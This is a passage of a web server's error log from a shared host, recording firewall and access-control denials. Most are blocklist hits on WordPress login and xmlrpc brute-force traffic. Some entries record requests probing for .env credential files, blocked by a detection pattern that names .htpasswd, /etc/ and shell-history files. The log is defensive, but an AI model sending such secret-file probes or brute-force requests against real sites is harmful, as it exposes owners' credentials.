"900406"] [msg "wp-login POST logging"] [data "200"] [hostname "www.rhodaalbert.com"] [uri "/wp-login.php"] [unique_id "ai3ybSmiP80klyS0NnoiWgABDyI"], referer: https://www.rhodaalbert.com/wp-login.php [Sat Jun 13 18:14:37.556449 2026] [access_compat:error] [pid 531155:tid 531194] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:37.556904 2026] [access_compat:error] [pid 531155:tid 531194] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:37.587717 2026] [security2:error] [pid 531155:tid 531175] [remote 17.22.245.87:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 87.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ybSmiP80klyS0NnoiagABPxM"] [Sat Jun 13 18:14:37.627378 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9kcml2ZXI= [Sat Jun 13 18:14:37.627694 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9kcml2ZXI= [Sat Jun 13 18:14:37.667239 2026] [security2:error] [pid 531155:tid 531182] [remote 17.246.23.250:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 250.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ybSmiP80klyS0NnoicQABXRo"] [Sat Jun 13 18:14:37.704796 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.69:62480] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:37.705078 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.69:62480] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:37.770273 2026] [security2:error] [pid 531155:tid 531286] [client 201.239.58.251:55093] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 251.58.239.201.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "energymeteringtechnology.com"] [uri "/xmlrpc.php"] [unique_id "ai3ybSmiP80klyS0NnoidgAAAQs"] [Sat Jun 13 18:14:37.770383 2026] [security2:error] [pid 531155:tid 531286] [client 201.239.58.251:55093] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "energymeteringtechnology.com"] [uri "/xmlrpc.php"] [unique_id "ai3ybSmiP80klyS0NnoidgAAAQs"] [Sat Jun 13 18:14:38.056616 2026] [autoindex:error] [pid 531155:tid 531291] [client 46.228.199.158:60472] AH01276: Cannot serve directory /home4/paintyou/public_html/williamsflying/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:14:38.130369 2026] [access_compat:error] [pid 531155:tid 531213] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:38.130678 2026] [access_compat:error] [pid 531155:tid 531213] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:38.145756 2026] [access_compat:error] [pid 531155:tid 531259] [remote 57.141.14.37:62036] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:38.146034 2026] [access_compat:error] [pid 531155:tid 531259] [remote 57.141.14.37:62036] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:38.222301 2026] [security2:error] [pid 531155:tid 531226] [remote 57.141.14.52:48964] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3ybimiP80klyS0NnoijwABgkY"], referer: https://nelsonfarmstn.com/shop/?add_to_wishlist=549&_wpnonce=4c30d5536d&add-to-cart=378 [Sat Jun 13 18:14:38.586565 2026] [security2:error] [pid 531155:tid 531379] [client 210.217.96.217:54179] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3ybimiP80klyS0NnoipwAAAWg"] [Sat Jun 13 18:14:38.586725 2026] [security2:error] [pid 531155:tid 531379] [client 210.217.96.217:54179] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3ybimiP80klyS0NnoipwAAAWg"] [Sat Jun 13 18:14:38.611039 2026] [security2:error] [pid 531155:tid 531168] [remote 17.246.15.117:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 117.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ybimiP80klyS0NnoiqAABdgw"] [Sat Jun 13 18:14:38.647239 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:14:38.647692 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:14:38.664708 2026] [access_compat:error] [pid 531155:tid 531158] [remote 57.141.14.29:30631] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:38.665151 2026] [access_compat:error] [pid 531155:tid 531158] [remote 57.141.14.29:30631] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:38.814548 2026] [access_compat:error] [pid 531155:tid 531200] [remote 57.141.14.12:52192] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:38.815007 2026] [access_compat:error] [pid 531155:tid 531200] [remote 57.141.14.12:52192] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:38.815239 2026] [security2:error] [pid 531155:tid 531205] [remote 17.22.237.137:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ybimiP80klyS0NnoiuQABXTE"] [Sat Jun 13 18:14:38.871513 2026] [security2:error] [pid 531155:tid 531327] [client 185.213.175.168:37390] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mlq.otn.mybluehost.me"] [uri "/api/.env"] [unique_id "ai3ybimiP80klyS0NnoiwwAAATQ"] [Sat Jun 13 18:14:38.871593 2026] [security2:error] [pid 531155:tid 531412] [client 185.213.175.168:37368] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mlq.otn.mybluehost.me"] [uri "/backend/.env"] [unique_id "ai3ybimiP80klyS0NnoiwgAAAYk"] [Sat Jun 13 18:14:38.875196 2026] [access_compat:error] [pid 531155:tid 531223] [remote 57.141.14.72:22195] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:38.875527 2026] [access_compat:error] [pid 531155:tid 531223] [remote 57.141.14.72:22195] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:39.101322 2026] [security2:error] [pid 531155:tid 531292] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/imap_close_variation1.phpt"] [unique_id "ai3ybymiP80klyS0Nnoi1AAAARE"] [Sat Jun 13 18:14:39.133674 2026] [security2:error] [pid 531155:tid 531166] [remote 216.73.216.137:39442] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "onemontgomerygreen.org"] [uri "/index.php/calendarevent/glenmont-community-garden-virtual-kick-off/"] [unique_id "ai3ybymiP80klyS0Nnoi0wABEAo"] [Sat Jun 13 18:14:39.136856 2026] [security2:error] [pid 531155:tid 531186] [remote 17.246.15.65:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 65.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ybymiP80klyS0Nnoi2AABZh4"] [Sat Jun 13 18:14:39.211874 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvc2VyaW8xL2RyaXZlci9zZXJpbzE= [Sat Jun 13 18:14:39.212305 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvc2VyaW8xL2RyaXZlci9zZXJpbzE= [Sat Jun 13 18:14:39.390315 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.13:58895] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:39.390588 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.13:58895] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:39.661778 2026] [security2:error] [pid 531155:tid 531271] [remote 17.22.237.89:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 89.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ybymiP80klyS0Nnoi-AABQnM"] [Sat Jun 13 18:14:39.718207 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:14:39.718644 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:14:39.831578 2026] [access_compat:error] [pid 531155:tid 531279] [remote 57.141.14.29:30637] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:39.831934 2026] [access_compat:error] [pid 531155:tid 531279] [remote 57.141.14.29:30637] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:39.920802 2026] [security2:error] [pid 531155:tid 531160] [remote 17.22.253.16:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ybymiP80klyS0NnojCAABdAQ"] [Sat Jun 13 18:14:39.946424 2026] [access_compat:error] [pid 531155:tid 531170] [remote 57.141.14.76:22783] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:39.946747 2026] [access_compat:error] [pid 531155:tid 531170] [remote 57.141.14.76:22783] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:40.090306 2026] [access_compat:error] [pid 531155:tid 531264] [remote 57.141.14.99:52486] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:40.090600 2026] [access_compat:error] [pid 531155:tid 531264] [remote 57.141.14.99:52486] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:40.312384 2026] [access_compat:error] [pid 531155:tid 531162] [remote 57.141.14.67:62123] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:40.312717 2026] [access_compat:error] [pid 531155:tid 531162] [remote 57.141.14.67:62123] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:40.319204 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:40.319639 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:40.615127 2026] [access_compat:error] [pid 531155:tid 531282] [remote 57.141.14.33:52481] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:40.615563 2026] [access_compat:error] [pid 531155:tid 531282] [remote 57.141.14.33:52481] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:40.810536 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 